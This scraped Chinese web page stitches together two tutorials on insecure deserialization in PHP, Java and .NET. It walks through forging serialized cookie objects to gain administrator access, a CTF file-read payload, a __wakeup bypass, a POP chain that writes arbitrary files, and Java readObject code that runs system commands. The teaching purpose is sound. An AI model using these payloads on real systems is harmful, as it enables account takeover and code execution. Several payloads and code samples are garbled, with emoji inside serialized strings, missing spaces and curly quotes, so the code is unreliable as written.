精华内容
下载资源
问答
  • 漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言...

    一、什么是反序列化

    1.1 漏洞简介
    PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
    1.2反序列化函数
    在我们讲PHP反序列化的时候,基本都是围绕着serialize(),**unserialize()**这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。
    直接上例子便于理解:
    我们先讲一讲比较简单的序列化,我们就用序列化json来举例子吧。虽然序列化Json和我们讲PHP反序列化的漏洞没有什么关系。但是在理解序列化这个概念和之后的内容会有所帮助
    json_encode()
    json_decode()
    这两个函数,一眼就能看出来是做什么用的吧,直接上例子:

    <?php
    	$book = array('book1'=>'Harry Potter', 'book2'=>'MR.Bean', 'book3'=>'History');
    	$json = json_encode($book);
    	echo $json;
    ?>
    

    这边有一个book的数组
    ‘book1’=>‘Harry Potter’,
    ‘book2’=>‘MR.Bean’,
    ‘Book3’=>‘Python Cookbook’,
    ‘Book4’=>‘History’
    如果我们想传输这个数组怎么办呢,我们就可以请json_encode()这个函数帮助我们将这个数组序列化成一串字符串
    在这里插入图片描述
    所以在这里,我们将数组序列化成json格式的字串的目的就是为了方便传输。我们可以看见,这里json格式来保存数据主要是使用键值对的形式。
    假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。

    <?php
    	class DemoClass
    	{
    		public $name = 'sms2056';
    		public $sex = 'man';
    		public $age = '7';
    	}
    	$example = new DemoClass();
    	$example->name = 'jone';
    	$example->sex = 'woman';
    	$example->age = '18';
    ?>
    

    这里,我们先创了个DemoClass,里面存了点信息,后来我们new了一个实例$example的时候,将这个class里的一些信息给改变了。
    如果我们之后还要用到这个实例怎么办呢,我们就先将他序列化存起来,到时候用的时候再放出来就好啦。
    是不是很简单,只要用serialize()这个函数就行了

    <?php
    	class DemoClass
    	{
    		public $name = 'sms2056';
    		public $sex = 'man';
    		public $age = '7';
    	}
    	$example = new DemoClass();
    	$example->name = 'jone';
    	$example->sex = 'woman';
    	$example->age = '18';
    	echo serialize($example);
    ?>
    

    这个时候,我们发现这次序列化出来的格式,和我们上一个序列化json的格式有点不同呢,解释一下:在这里插入图片描述
    然后如果反序列化回来的话

    <?php
    	class DemoClass
    	{
    		public $name = 'sms2056';
    		public $sex = 'man';
    		public $age = '7';
    	}
    	$example = new DemoClass();
    	$example->name = 'jone';
    	$example->sex = 'woman';
    	$example->age = '18';
    	
    	$val = serialize($example);
    	$NewExample = unserialize($val);
    	echo $NewExample->age;
    ?>
    

    在这里插入图片描述

    二. 为什么会产生漏洞

    那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?
    这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:
    在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

    __construct()当一个对象创建时被调用
    __destruct()当一个对象销毁时被调用
    __toString()当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup将在序列化之后立即被调用
    

    这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
    举个别人的例子:

    <?php
    class A{
        var $test = "demo";
        function __destruct(){
                echo $this->test;
        }
    }
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>
    

    这里我们只要构造payload:
    http://127.0.0.1/test.php?test=O:1:“A”:1:{s:4:“test”;s:5:“hello”;}
    就能控制echo出的变量,比如你能拿这个来进行反射型xss。

    三、 实例分析

    这里实战一题比较简单的ctf题目吧

    <?php 
        require_once('shield.php');
        $x = new Shield();
        isset($_GET['class']) && $g = $_GET['class'];
        if (!empty($g)) {
            $x = unserialize($g);
        }
        echo $x->readfile();
    ?>
    

    可以看见 先是包含了shield.php 然后从中new了个新的实例出来 最后接收用户的反序列化 输出readfile()方法
    跟进:

    <?php
        //flag is in pctf.php
        class Shield {
            public $file;
            function __construct($filename = '') {
                $this -> file = $filename;
            }
            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
    ?>
    

    这里我们可以看见只要操控$file这个参数为pctf.php就可以了,这里construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响我们对$file的操作直接构造序列化对象传过去 O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;} 就行了。

    四、反序列漏洞的利用思路

    在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。
    在这里插入图片描述
    如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

    五、现实中查找反序列化漏洞的方法

    PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件。于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要程序员不断地复制粘贴 那些include代码了。这种技术同时也方便了我们的漏洞利用.因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。
    还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。
    1.Composer配置的依赖库存储在vendor目录下
    2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require __DIR__ . '/vendor/autoload.php';
    找PHP链的基本思路.
    1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
    2.追踪调用过程
    3.手工构造 并验证 POP 链
    4.开发一个应用使用该库和自动加载机制,来测试exploit.
    构造exploit的思路
    1.寻找可能存在漏洞的应用
    2.在他所使用的库中寻找 POP gadgets
    3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
    4.将序列化之后的payload发送到有漏洞web应用中进行测试.

    六、参考

    其它不错的PHP反序列化,文章链接:
    1、最通俗易懂的PHP反序列化原理分析

    https://www.freebuf.com/articles/web/167721.html
    

    2、由Typecho 深入理解PHP反序列化漏洞

    https://www.freebuf.com/column/161798.html
    

    3、Typecho install.php 反序列化导致任意代码执行

    https://p0sec.net/index.php/archives/114/
    

    4、HP反序列化漏洞成因及漏洞挖掘技巧与案例

    https://www.anquanke.com/post/id/84922
    

    免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

    展开全文
  • 反序列化漏洞汇总

    千次阅读 2020-12-08 11:42:15
    反序列的基本内容 类对象方法 类(Class): 用来描述具有相同的属性和方法的对象的集合。 它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。 对象:通过类定义的数据结构实例。对象包括两个数据成员...

    一.反序列化的基本内容

    类对象方法
    类(Class): 用来描述具有相同的属性和方法的对象的集合。

    它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。

    对象:通过类定义的数据结构实例。对象包括两个数据成员(类变量和实例变量)和方法。
    对象:某一个具体的事物、实体或事例

    类是类型,比如人类,犬类;

    对象是某种类的一个实例(实际的例子),比如身为人类的你就是一个对象,你家养的狗就属于犬类的一个对象,或者说一个实例;

    你可能经常会听到“实例化对象”,这句话的意思就是创建对象,此处的实例名词作动词用,作名词时,可以理解为实例与对象就是一回事

    方法:类中定义的函数
    魔术方法在类或对象的某些事件出发后会自动执行
    在PHP中以两个下划线开头的方法,如果希望PHP调用这些魔术方法,首先必须在类中定义,否则PHP不会执行未创建的魔术方法。

    在这里插入图片描述

    序列化和反序列化

    序列化是将复杂的数据结构(例如对象及其字段)转换为“更扁平”格式的过程,该格式可以作为字节顺序流发送和接收。

    序列化数据使其更容易:

    将复杂数据写入进程间内存,文件或数据库

    例如,通过网络,在应用程序的不同组件之间或在API调用中发送复杂的数据

    至关重要的是,在序列化对象时,其状态也将保留。换句话说,将保留对象的属性及其分配的值。

    反序列化是将字节流还原为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。

    然后,网站的逻辑可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。

    在这里插入图片描述

    许多编程语言为序列化提供本地的支持。对象的具体序列化方式取决于语言。

    某些语言将对象序列化为二进制格式,而其他语言则使用不同的字符串格式,同时具有不同程度的人类可读性。

    请注意,所有原始对象的属性都存储在序列化的数据流中,包括任何私有字段。

    为防止字段被序列化,必须在类声明中将其显式标记为“ transient”。

    在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

    在这里插入图片描述

    public(公共的):在本类内部、外部类、子类都可以访问
    
    protect(受保护的):只有本类或子类或父类中可以访问
    
    private(私人的):只有本类内部可以使用
    

    不安全的反序列化

    不安全的反序列化是指网站对用户可控制的数据进行反序列化时,攻击者能够操纵序列化的对象,以将有害数据传递到应用程序代码中。

    甚至有可能用完全不同类的对象替换序列化的对象。

    更夸张的是,将对网站可用的任何类别的对象进行反序列化和实例化,而与预期的类别无关。

    因此,不安全的反序列化有时称为“对象注入”漏洞。

    意外类的对象可能会导致异常。

    但是,到此时,损坏可能已经造成。

    许多基于反序列化的攻击是在反序列化完成之前完成的。

    这意味着即使网站自身的功能未直接与恶意对象进行交互,反序列化过程本身也可以发起攻击。

    因此,其逻辑基于强类型语言的网站也可能容易受到这些技术的攻击。

    漏洞成因

    会出现不安全的反序列化,是因为人们普遍缺乏对用户可控制数据进行反序列化的危险程度的了解。理想情况下,绝对不应该对用户输入数据进行反序列化。

    由于通常认为反序列化对象是可信任的,因此也可能会出现漏洞。

    尤其是当使用具有二进制序列化格式的语言时,开发人员可能会认为用户无法有效读取或操纵数据。

    但是,尽管可能需要付出更多的努力,但攻击者仍有可能利用二进制序列化的对象,就象利用基于字符串的格式一样。

    由于现代网站中存在大量依赖关系,因此基于反序列化的攻击也成为可能。

    一个典型的站点可能会实现许多不同的库,每个库也都有自己的依赖性。

    这会创建大量难以安全管理的类和方法。由于攻击者可以创建任何这些类的实例,因此很难预测可以对恶意数据调用哪些方法。

    如果攻击者能够将一系列意想不到的方法调用链接在一起,并将数据传递到与初始源完全无关的接收器,则尤其如此。

    因此,几乎不可能预料到恶意数据的流动并堵塞(修复)每个潜在的漏洞。

    简而言之,反序列化不受信任的输入是不安全的。

    漏洞影响

    不安全的反序列化的影响可能非常严重,因为它为大规模增加攻击面提供了切入点。它允许攻击者以有害的方式重用现有的应用程序代码,从而导致许多其他漏洞,通常是远程执行代码(RCE)。

    即使在无法执行远程代码的情况下,不安全的反序列化也可能导致越权,任意文件访问和拒绝服务攻击。

    二.按编程语言分类

    无论是白盒测试还是黑盒测试,识别不安全的反序列化都是相对简单的。

    在审核期间,我们应该查看传递到网站的所有数据,并尝试识别任何看起来像序列化数据的内容。

    如果知道不同语言使用的格式,则可以相对轻松地识别序列化数据。

    在本节中,我们将展示多种语言的序列化示例及特性。识别序列化数据后,就可以测试是否能够控制它。

    1.PHP

    漏洞原理

    php对象控制
    所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示,unserialize()函数能够重新把字符串变回php原来的值。

    反序列化一个对象将会保存对象的所有变量。但是不会保存对象的方法,只会保存类的名字。为了能够unserialize()一个对象,这个对象的类必须已经定义过。

    如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。

    如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个该类的文件或使用函数spl_autoload_register()来实现。

    魔法方法

    魔术方法是不必显式调用的方法的特殊子集。而是在发生特定事件或场景时自动调用它们。

    魔术方法是各种语言的面向对象编程的共同特征。有时通过在方法名称前添加前缀或双下划线来表示它们。开发人员可以将魔术方法添加到类中,以便预先确定在发生相应事件或场景时应执行什么代码。何时以及为何调用魔术方法的确切方法因方法而异。

    下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法:

    __wakeup (void)
    

    unserialize( )会检查是否存在一个wakeup( ) 方法。如果存在,则会先调用__wakeup 方法,预先准备对象需要的资源。

    __construct ([ mixed $args [, $...]])
    

    具有构造函数的类会在每次创建新对象时先调用此方法。

    __destruct (void)
    

    析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

    __toString (void)
    

    __toString( ) 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

    序列化实现
    PHP使用一种人类可读的字符串格式,其中字母代表数据类型,数字代表每个条目的长度。例如,考虑User具有以下属性的对象:

    $user->name ="carlos";
    
    $user->isLoggedIn =true;
    

    序列化后,该对象可能看起来像这样:

    O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
    

    可以解释如下:

    O:4:“User”-具有4个字符的类名称的对象"User"

    
    2-对象具有2个属性
    
    s:4:"name"-第一个属性的键是4个字符的字符串"name"
    
    s:6:"carlos"-第一个属性的值是6个字符的字符串"carlos"
    
    s:10:"isLoggedIn"-第二个属性的键是10个字符的字符串"isLoggedIn"
    
    b:1-第二个属性的值是布尔值true
    

    反序列化利用与POP链

    介绍完了漏洞原理与序列化的实现过程,接下来说说漏洞的利用。

    操作序列化对象
    不安全的反序列化就包括了用户可以对序列化对象进行修改,这可能导致一些越权,代码执行等漏洞。

    修改幅度有大有小,有的是仅仅修改序列化中的部分字符,有的则是重新生成一个序列化对象,传给网站进行反序列化。

    在处理序列化对象时可以采用两种方法: 可以直接以对象的字节流形式对其进行编辑,也可以使用相应的语言编写简短的脚本来自己创建和序列化新对象。

    使用二进制序列化格式时,后一种方法通常更容易。

    1、修改对象属性

    这属于修改幅度较小的情况,仅仅修改属性不会使反序列化报错,也保留了原有对象的结构。

    举一个简单的例子,考虑一个使用序列化User对象的网站,该网站将有关用户会话的数据存储在cookie中。如果攻击者在HTTP请求中发现了序列化对象,则可能会对其进行解码以找到以下内容:

    O:4:“User”:2:{s:8:“username”😒:6:“carlos”; s:7:“isAdmin”🅱️0;}

    注意到这里的isAdmin属性,攻击者可以简单地将该属性的布尔值更改为1(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie。

    burpsuite官网的实验地址:[(http://r6d.cn/MgdW)

    在这里插入图片描述

    登录后查看Cookie,base64解码后为

    O:4:“User”:2:{s:8:“username”;s:6:“wiener”;s:5:“admin”;b:0;}

    尝试修改为(经过尝试需要每一次都修改,burpsuite直接修改cookie值)

    O:4:“User”:2:{s:8:“username”;s:6:“wiener”;s:5:“admin”;b:1;}

    再base64加密,url加密得到

    Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3D

    修改之后得到了管理员权限:

    在这里插入图片描述

    2、修改数据类型

    我们已经看到了如何修改序列化对象中的属性值,修改数据类型有时候也会有意想不到的效果,这种效果可能基于PHP 的弱等于比较 ==

    例如,如果在整数和字符串之间执行弱比较,PHP将尝试将字符串转换为整数,即结果5 == "5"为true。

    这也适用于以数字开头的任何字母数字字符串。

    在这种情况下,PHP将根据初始数字有效地将整个字符串转换为整数值。

    字符串的其余部分将被完全忽略。

    因此,5 == "5 of something"在实践中被视为5 == 5

    比较0 :

    0==“Example string”// true

    因为没有数字,所以字符串中的数字为0。PHP将整个字符串视为整数0

    考虑这种松散的比较运算符与反序列化对象中的用户可控制数据一起使用的情况。这可能会导致危险的逻辑缺陷。

    l o g i n = u n s e r i a l i z e ( login = unserialize( login=unserialize(_COOKIE)

    if($login[‘password’]== $password){

    // log in successfully

    }

    假设攻击者修改了password属性,使其包含整数0而不是预期的字符串。只要存储的密码不是以数字开头,该条件将始终返回true 从而身份验证绕过。

    请注意,以任何序列化的对象格式修改数据类型时,务必记住也要更新序列化数据中的任何类型标签和长度指示符,这一点很重要。否则,序列化的对象将被破坏并且不会被反序列化.

    实验地址http://r6d.cn/Mgb9,任务是: 编辑会话cookie中的序列化对象以访问administrator帐户。

    我们登录后的cookie值:

    O:4:“User”:2:{s:8:“username”;s:6:“wiener”;s:12:“access_token”;s:32:“XaUdeGmBn1wE6eB0QDcNSze28JC6JGhb”;}

    用户要修改为administrator,access_token应该是验证身份的

    如果将access_token修改为整形,然后值修改为0/1/2/3/4/5/6/7 …

    需要一次次尝试,因为如果与access_token比较的值前几位包含了数字就需要不停尝试,直到比较成功。

    修改administrator: s:8:“username”;s:13:“administrator”;

    修改access_token : s:12:“access_token”;i:0;}

    拼接就是

    O:4:“User”:2:{s:8:“username”;s:13:“administrator”;s:12:“access_token”;i:0;}

    处理后

    Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9

    burp抓包改cookie,可见成功升级为管理员。

    在这里插入图片描述

    利用应用程序功能
    除了简单地检查属性值外,网站的功能还可能会对反序列化对象中的数据执行危险的操作。在这种情况下,我们可以使用不安全的反序列化来传递意外数据,并利用相关功能造成破坏。

    例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location属性中的文件路径来删除用户的个人资料图片。

    如果这$user是从序列化对象创建的,则攻击者可以通过将带有image_location集合的已修改对象传递到任意文件路径来利用此漏洞,删除他们自己的用户帐户也将删除此任意文件。

    利用魔法方法
    之前我们介绍了魔法方法的原理和运行机制,此处用一个demo来展示它的利用。注意魔法方法中的代码。

    classDemo
    
    {
    
    public $data;
    
    publicfunction __construct($data)
    
    {
    
    $this->data = $data;
    
    echo "construct<br />";
    
    }
    
    publicfunction __wakeup()
    
    {
    
    echo "wake up<br />";
    
    }
    
    publicfunction __destruct()
    
    {
    
    echo "Data's value is $this->data. <br />";
    
    echo "destruct<br />";
    
    }
    
    }
    
    var_dump(serialize(newDemo("raw value")));
    

    输出:

    construct
    
    Data's value is raw value.
    
    destruct
    
    string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
    
    把序列化的字符串修改⼀下后,执⾏
    
    unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
    

    输出:

    wake up
    
    Data's value is malicious value.
    
    destruct
    

    这⾥看到,值被修改了。上⾯是⼀个 unserialize() 的简单应⽤,不难看出,如果 wakeup() 或者 desturct() 有敏感操作,⽐如读写⽂件、操作数据库,就可以 通过函数实现⽂件读写或者数据读取的⾏为。

    那么,在 wakeup() 中加⼊判断是否可以阻⽌这个漏洞呢?在 wakeup() 中我们加⼊⼀⾏代码

    publicfunction __wakeup()
    
    {
    
    if($this->data !='raw value') $this->data ='raw value';
    
    echo "wake up<br />";
    
    }
    

    但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存 在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时, wakeup就会被绕过,于是使⽤下⾯的payload

    unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
    

    输出

    Data's value is malicious value.
    
     destruct
    

    这⾥wakeup被绕过,值依旧被修改了。

    POP链

    在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。

    和二进制漏洞中常用的ROP技术类似。

    在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。

    在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是wakeup() 或者是destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。

    下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

    几个可用的POP链方法

    命令执行:

    exec()
    
    passthru()
    
    popen()
    
    system()
    

    文件操作:

    file_put_contents()
    
    file_get_contents()
    
    unlink()
    

    一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

    Demo所使用的代码。

    DemoPopChain.php

    <?php
    
    classDemoPopChain{
    
    private $data =“barn”;
    
    private $filename =‘/tmp/foo’;
    
    publicfunction __wakeup(){
    
            $this->save($this->filename);
    
    }
    
    publicfunction save($filename){
    
            file_put_contents($filename, $this->data);
    
    }
    
    ?>
    
    

    unserialize.php

    <?php
    
    require(‘./DemoPopChain.php’);
    
            unserialize(file_get_contents(‘./serialized.txt));
    
    ?>
    

    这是一个很简单的具有反序列漏洞的代码,程序从serialized.txt文件中读取需要进行反序列化的字符串。

    这个我们可控。

    同时该文件还定义了一个 DemoPopChain 类,并且该类实现了 __wakeup 函数,在该函数中调用了save函数,其参数为 类对象的filename属性值

    然后在 save函数中调用了 file_put_contents 函数,该函数的两个参数分别为从save函数中传下来的 filename属性值 和 该对象的data属性值。

    又由于在反序列化的过程中被反序列化的对象的属性值是我们可控的,于是我们就通过对函数的嵌套调用和对象属性值的使用得到了一个 任意文件写入任意内容的漏洞。

    这就是所谓的POP。

    就是关注整个函数的调用过程中参数的传递情况,找到可利用的点,这和一般的Web漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了 对象中的属性值。

    2.Java

    漏洞原理

    Java反射机制
    反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。

    简而言之,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以我们可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。

    反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。

    Java 反射主要提供以下功能:

    在运行时判断任意一个对象所属的类;

    在运行时构造任意一个类的对象;

    在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);

    在运行时调用任意一个对象的方法

    重点:是运行时而不是编译时

    反射机制在java反序列化漏洞的利用过程中有很重要的作用,此处做一个简单的介绍,具体知识与实现可参考:http://r6d.cn/MfXa

    关键类说明

    位置:Java.io.ObjectOutputStream  java.io.ObjectInputStream

    序列化: ObjectOutputStream类 —> writeObject()

    注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

    按Java的标准约定是给文件一个.ser扩展名

    反序列化: ObjectInputStream类 —> readObject()

    注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

    java中的一个类的对象要想序列化成功,必须满足两个条件:

    该类必须实现 java.io.Serializable 接口,因为 Serializable 接口是启用其序列化功能的接口。

    该类的所有属性必须是可序列化的。

    如果你想知道一个 Java 标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable 接口。

    以下列出了一些存在危险的基础库:

    com.mchange:c3p0 0.9.5.2

    com.mchange:mchange-commons-java 0.2.11

    commons-beanutils 1.9.2

    commons-collections 3.1

    commons-fileupload 1.3.1

    commons-io 2.4

    commons-logging 1.2

    org.apache.commons:commons-collections 4.0

    org.beanshell:bsh 2.0b5

    org.codehaus.groovy:groovy 2.3.9

    org.slf4j:slf4j-api 1.7.21

    org.springframework:spring-aop 4.1.4.RELEASE

    #Java反序列化利用

    命令执行

    前面我们能知道序列化过程依赖于 ObjectOutputStream 类中 writeObject 方法,而反序列化的过程是依赖于 ObjectOutputStream 类中 readObject 方法。

    那么如果实际情况下,我们能够重写 readObject 方法,那么就有可能达到反序列化的时候命令执行的作用。

    以下代码重写了 readObject 方法,当调用 readObject 执行反序列化操作的时候,调用系统命令执行弹出计算器的操作。

    //ObjectCalc.java
    
    import java.io.IOException;
    
    import java.io.Serializable;
    
    
    
    classObjectCalcimplementsSerializable{
    
    publicString name;
    
    //重写readObject()方法
    
    privatevoid readObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{
    
    //执行默认的readObject()方法
    
    in.defaultReadObject();
    
    //执行打开计算器程序命令
    
    Runtime.getRuntime().exec("open /Applications/Calculator.app/");
    
    }
    
    }
    

    然后先生成序列化的object。

    //SerializableCalc.java
    
    //引入必要的java包文件
    
    import java.io.*;
    
    
    
    publicclassSerializableCalc{
    
    publicstaticvoid main(String args[])throwsException{
    
    //定义myObj对象
    
    ObjectCalc myObj =newObjectCalc();
    
    myObj.name ="hi";
    
    //创建一个包含对象进行反序列化信息的”object”数据文件
    
    FileOutputStream fos =newFileOutputStream("/Users/l1nk3r/Desktop/object");
    
    ObjectOutputStream os =newObjectOutputStream(fos);
    
    //writeObject()方法将myObj对象写入object文件
    
    os.writeObject(myObj);
    
    os.close();
    
    }
    
    }
    

    然后反序列化的过程中弹出计算器。

    //unSerializableCalc.java
    
    //引入必要的java包文件
    
    import java.io.*;
    
    
    
    publicclass unSerializableCalc{
    
    publicstaticvoid main(String args[])throwsException{
    
    //从文件中反序列化obj对象
    
    FileInputStream fis =newFileInputStream("/Users/l1nk3r/Desktop/object");
    
    ObjectInputStream ois =newObjectInputStream(fis);
    
    //恢复对象
    
    ObjectCalc objectFromDisk =(ObjectCalc)ois.readObject();
    
    System.out.println(objectFromDisk.name);
    
    ois.close();
    
    }
    
    }
    

    在这里插入图片描述

    利用反射机制来执行代码

    Java的反射机制提供为Java工程师的开发提供了相当多的便利性,同样也带来了潜在的安全风险。

    反射机制的存在使得我们可以越过Java本身的静态检查和类型约束,在运行期直接访问和修改目标对象的属性和状态。

    Java反射的四大核心是 Class,Constructor,Field,Method,如下代码所示。

    通过反射的方法重写readObject,从而操纵代码调用本地的计算器:

    //ReflectionCalcObject.java
    
    package com.l1nk3r.reflect;
    
    import java.io.*;
    
    import java.lang.reflect.Method;
    
    
    
    classReflectionCalcObjectimplementsSerializable{
    
    publicString name;
    
    //重写readObject()方法
    
    privatevoid readObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{
    
    in.defaultReadObject();//调用原始的readOject方法
    
    
    
    try{//通过反射方法执行命令;
    
    Method method= java.lang.Runtime.class.getMethod("exec",String.class);
    
    Object result = method.invoke(Runtime.getRuntime(),"open /Applications/Calculator.app/");
    
    }
    
    catch(Exception e){
    
                e.printStackTrace();
    
    }
    
    }
    
    }
    

    关键在于这两行代码

    Method method= java.lang.Runtime.class.getMethod("exec",String.class);
    
    Object result = method.invoke(Runtime.getRuntime(),"open /Applications/Calculator.app/");
    

    通过运行 java.lang.Runtime 这个类的 .class 属性,并使用 getMethod 方法来获取我们要执行命令的方法 exec ,最后我们通过 invoke 来实现注册这个方法,打开计算器。

    在这里插入图片描述

    FastJson库反序列化

    FastJson是alibaba的一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

    Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端等,目前有2个主要接口toJsonString和parseObject来分别实现序列化和反序列化。

    近几年来fastjson RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。

    关于Fastjson 1.2.24反序列化漏洞,自从17年以来已经有很多人分析过了,一些基础内容此处就不再陈述了。

    此次漏洞简单来说,就是Fastjson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

    详细内容可阅读参考文章:http://r6d.cn/MfTqhttp://r6d.cn/MfTH

    2…NET

    漏洞原理

    .net反射机制
    与Java类似,.net也具备反射机制。

    反射是.Net中获取运行时类型信息的方式,.Net的应用程序由几个部分:‘程序集(Assembly)’、‘模块(Module)’、‘类型(class)’组成,而反射提供一种编程的方式,让程序员可以在程序运行期获得这几个组成部分的相关信息,

    例如:Assembly类可以获得正在运行的装配件信息,也可以动态的加载装配件,以及在装配件中查找类型信息,并创建该类型的实例。

    Type类可以获得对象的类型信息,此信息包含对象的所有要素:方法、构造器、属性等等,通过Type类可以得到这些要素的信息,并且调用之。

    MethodInfo包含方法的信息,通过这个类可以得到方法的名称、参数、返回值等,并且可以调用之。诸如此类,还有FieldInfo、EventInfo等等,这些类都包含在System.Reflection命名空间下。

    那么,反射机制与序列化有何关系呢?

